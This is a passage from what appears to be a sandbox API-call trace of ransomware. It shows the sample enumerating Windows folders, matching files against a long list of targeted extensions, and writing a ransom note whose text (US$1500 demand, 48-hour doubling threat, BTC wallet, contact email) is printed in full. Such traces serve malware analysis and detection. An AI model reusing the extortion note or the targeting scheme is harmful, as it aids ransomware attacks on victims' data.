(pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.pst") returned 0 [0126.986] lstrlenA (lpString="*.pst") returned 5 [0126.986] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.ost") returned 0 [0126.998] lstrlenA (lpString="*.ost") returned 5 [0126.998] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.idx") returned 0 [0126.998] lstrlenA (lpString="*.idx") returned 5 [0126.998] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.dbx") returned 0 [0126.998] lstrlenA (lpString="*.dbx") returned 5 [0126.998] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.sql") returned 0 [0126.998] lstrlenA (lpString="*.sql") returned 5 [0126.998] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.mdb") returned 0 [0126.998] lstrlenA (lpString="*.mdb") returned 5 [0126.998] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.fdb") returned 0 [0126.998] lstrlenA (lpString="*.fdb") returned 5 [0126.998] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.wab") returned 0 [0126.998] lstrlenA (lpString="*.wab") returned 5 [0126.998] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.dat") returned 0 [0126.998] lstrlenA (lpString="*.dat") returned 5 [0126.999] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.txt") returned 0 [0126.999] lstrlenA (lpString="*.txt") returned 5 [0126.999] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.jpeg") returned 0 [0126.999] lstrlenA (lpString="*.jpeg") returned 6 [0126.999] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.jpg") returned 0 [0126.999] lstrlenA (lpString="*.jpg") returned 5 [0126.999] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.png") returned 0 [0126.999] lstrlenA (lpString="*.png") returned 5 [0126.999] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.php") returned 0 [0126.999] lstrlenA (lpString="*.php") returned 5 [0126.999] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.cs") returned 0 [0126.999] lstrlenA (lpString="*.cs") returned 4 [0126.999] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.cpp") returned 0 [0126.999] lstrlenA (lpString="*.cpp") returned 5 [0126.999] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.rar") returned 0 [0126.999] lstrlenA (lpString="*.rar") returned 5 [0127.000] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.zip") returned 0 [0127.000] lstrlenA (lpString="*.zip") returned 5 [0127.000] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.html") returned 0 [0127.000] lstrlenA (lpString="*.html") returned 6 [0127.000] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.htm") returned 0 [0127.000] lstrlenA (lpString="*.htm") returned 5 [0127.000] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.xlsx") returned 0 [0127.000] lstrlenA (lpString="*.xlsx") returned 6 [0127.000] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.xls") returned 0 [0127.000] lstrlenA (lpString="*.xls") returned 5 [0127.000] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.mp4") returned 0 [0127.000] lstrlenA (lpString="*.mp4") returned 5 [0127.000] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.ppt") returned 0 [0127.000] lstrlenA (lpString="*.ppt") returned 5 [0127.000] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.pptx") returned 0 [0127.000] lstrlenA (lpString="*.pptx") returned 6 [0127.001] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.doc") returned 0 [0127.001] lstrlenA (lpString="*.doc") returned 5 [0127.001] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.dot") returned 0 [0127.001] lstrlenA (lpString="*.dot") returned 5 [0127.001] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.docx") returned 0 [0127.001] lstrlenA (lpString="*.docx") returned 6 [0127.001] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.7z") returned 0 [0127.001] lstrlenA (lpString="*.7z") returned 4 [0127.001] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.tar") returned 0 [0127.001] lstrlenA (lpString="*.tar") returned 5 [0127.001] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.bz2") returned 0 [0127.001] lstrlenA (lpString="*.bz2") returned 5 [0127.001] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.gz") returned 0 [0127.001] lstrlenA (lpString="*.gz") returned 4 [0127.001] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.mkv") returned 0 [0127.001] lstrlenA (lpString="*.mkv") returned 5 [0127.002] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.eml") returned 0 [0127.002] lstrlenA (lpString="*.eml") returned 5 [0127.002] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.msg") returned 0 [0127.002] lstrlenA (lpString="*.msg") returned 5 [0127.002] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.edb") returned 0 [0127.003] lstrlenA (lpString="*.edb") returned 5 [0127.003] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.accdb") returned 0 [0127.003] lstrlenA (lpString="*.accdb") returned 7 [0127.003] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.odb") returned 0 [0127.003] lstrlenA (lpString="*.odb") returned 5 [0127.003] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.java") returned 0 [0127.003] lstrlenA (lpString="*.java") returned 6 [0127.003] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.asm") returned 0 [0127.003] lstrlenA (lpString="*.asm") returned 5 [0127.003] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.pfx") returned 0 [0127.003] lstrlenA (lpString="*.pfx") returned 5 [0127.003] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.pem") returned 0 [0127.003] lstrlenA (lpString="*.pem") returned 5 [0127.003] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.p12") returned 0 [0127.003] lstrlenA (lpString="*.p12") returned 5 [0127.003] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.gpg") returned 0 [0127.004] lstrlenA (lpString="*.gpg") returned 5 [0127.004] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.vsd") returned 0 [0127.004] lstrlenA (lpString="*.vsd") returned 5 [0127.004] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.odg") returned 0 [0127.004] lstrlenA (lpString="*.odg") returned 5 [0127.004] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.raw") returned 0 [0127.004] lstrlenA (lpString="*.raw") returned 5 [0127.004] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.nef") returned 0 [0127.004] lstrlenA (lpString="*.nef") returned 5 [0127.004] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.svg") returned 0 [0127.004] lstrlenA (lpString="*.svg") returned 5 [0127.004] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.psd") returned 0 [0127.004] lstrlenA (lpString="*.psd") returned 5 [0127.004] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.vmx") returned 0 [0127.004] lstrlenA (lpString="*.vmx") returned 5 [0127.004] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.vmdk") returned 0 [0127.005] lstrlenA (lpString="*.vmdk") returned 6 [0127.005] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.vdi") returned 0 [0127.005] lstrlenA (lpString="*.vdi") returned 5 [0127.005] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.lay6") returned 0 [0127.005] lstrlenA (lpString="*.lay6") returned 6 [0127.005] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.mpeg") returned 0 [0127.005] lstrlenA (lpString="*.mpeg") returned 6 [0127.005] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.djvu") returned 0 [0127.005] lstrlenA (lpString="*.djvu") returned 6 [0127.005] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.tiff") returned 0 [0127.005] lstrlenA (lpString="*.tiff") returned 6 [0127.005] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.backup") returned 0 [0127.005] lstrlenA (lpString="*.backup") returned 8 [0127.005] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.pdf") returned 0 [0127.005] lstrlenA (lpString="*.pdf") returned 5 [0127.005] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.cert") returned 0 [0127.005] lstrlenA (lpString="*.cert") returned 6 [0127.005] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.docm") returned 0 [0127.006] lstrlenA (lpString="*.docm") returned 6 [0127.006] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.xlsm") returned 0 [0127.006] lstrlenA (lpString="*.xlsm") returned 6 [0127.006] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.dwg") returned 0 [0127.006] lstrlenA (lpString="*.dwg") returned 5 [0127.006] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.nd") returned 0 [0127.006] lstrlenA (lpString="*.nd") returned 4 [0127.006] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.tlg") returned 0 [0127.006] lstrlenA (lpString="*.tlg") returned 5 [0127.006] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.lgb") returned 0 [0127.006] lstrlenA (lpString="*.lgb") returned 5 [0127.006] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.mov") returned 0 [0127.006] lstrlenA (lpString="*.mov") returned 5 [0127.006] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.xdw") returned 0 [0127.006] lstrlenA (lpString="*.xdw") returned 5 [0127.006] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.ods") returned 0 [0127.007] lstrlenA (lpString="*.ods") returned 5 [0127.007] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.wav") returned 0 [0127.007] lstrlenA (lpString="*.wav") returned 5 [0127.007] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.mp3") returned 0 [0127.007] lstrlenA (lpString="*.mp3") returned 5 [0127.007] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.aiff") returned 0 [0127.007] lstrlenA (lpString="*.aiff") returned 6 [0127.007] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.flac") returned 0 [0127.007] lstrlenA (lpString="*.flac") returned 6 [0127.007] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.m4a") returned 0 [0127.007] lstrlenA (lpString="*.m4a") returned 5 [0127.007] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.csv") returned 0 [0127.007] lstrlenA (lpString="*.csv") returned 5 [0127.007] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd37fe3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfd37fe3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde0b8873, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_WindowsMediaPlayer.ps1", cAlternateFileName="")) returned 0 [0127.007] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0127.008] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="WindowsMediaPlayerMediaLibrary", cAlternateFileName="WINDOW~1")) returned 1 [0127.008] lstrcmpA (lpString1=".", lpString2="WindowsMediaPlayerMediaLibrary") returned -1 [0127.008] lstrcmpA (lpString1="..", lpString2="WindowsMediaPlayerMediaLibrary") returned -1 [0127.008] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0127.008] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\", lpString2="WindowsMediaPlayerMediaLibrary" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary" [0127.008] lstrlenA (lpString="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary") returned 60 [0127.008] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0127.012] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.012] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.012] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.012] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.012] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10031b27, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10031b27, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x900778f9, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x1249, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DiagPackage.diagpkg", cAlternateFileName="")) returned 1 [0127.012] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.012] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.diagpkg") returned 1 [0127.012] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.diagpkg") returned 1 [0127.012] lstrcmpiA (lpString1="", lpString2="DiagPackage.diagpkg") returned -1 [0127.012] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\*.*") returned="*.*" [0127.012] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" [0127.012] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\") returned="" [0127.012] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" [0127.013] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayermedialibrary\\how to decrypt files.txt")) returned 0xffffffff [0127.013] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayermedialibrary\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.013] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0127.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0127.013] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.013] CloseHandle (hObject=0xffffffff) returned 0 [0127.013] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\", lpString2="DiagPackage.diagpkg" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg" [0127.014] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.ems") returned 0 [0127.014] lstrlenA (lpString="*.ems") returned 5 [0127.014] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.db") returned 0 [0127.014] lstrlenA (lpString="*.db") returned 4 [0127.014] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.dbf") returned 0 [0127.014] lstrlenA (lpString="*.dbf") returned 5 [0127.014] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.myox") returned 0 [0127.014] lstrlenA (lpString="*.myox") returned 6 [0127.014] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.myo") returned 0 [0127.014] lstrlenA (lpString="*.myo") returned 5 [0127.014] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.qbw") returned 0 [0127.014] lstrlenA (lpString="*.qbw") returned 5 [0127.014] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.qbb") returned 0 [0127.014] lstrlenA (lpString="*.qbb") returned 5 [0127.014] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.qbm") returned 0 [0127.014] lstrlenA (lpString="*.qbm") returned 5 [0127.014] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.qbo") returned 0 [0127.014] lstrlenA (lpString="*.qbo") returned 5 [0127.014] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.qbx") returned 0 [0127.015] lstrlenA (lpString="*.qbx") returned 5 [0127.015] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.qba") returned 0 [0127.015] lstrlenA (lpString="*.qba") returned 5 [0127.015] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.qby") returned 0 [0127.015] lstrlenA (lpString="*.qby") returned 5 [0127.015] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.qbj") returned 0 [0127.015] lstrlenA (lpString="*.qbj") returned 5 [0127.015] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.ofx") returned 0 [0127.015] lstrlenA (lpString="*.ofx") returned 5 [0127.015] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.qif") returned 0 [0127.015] lstrlenA (lpString="*.qif") returned 5 [0127.015] PathMatchSpecA 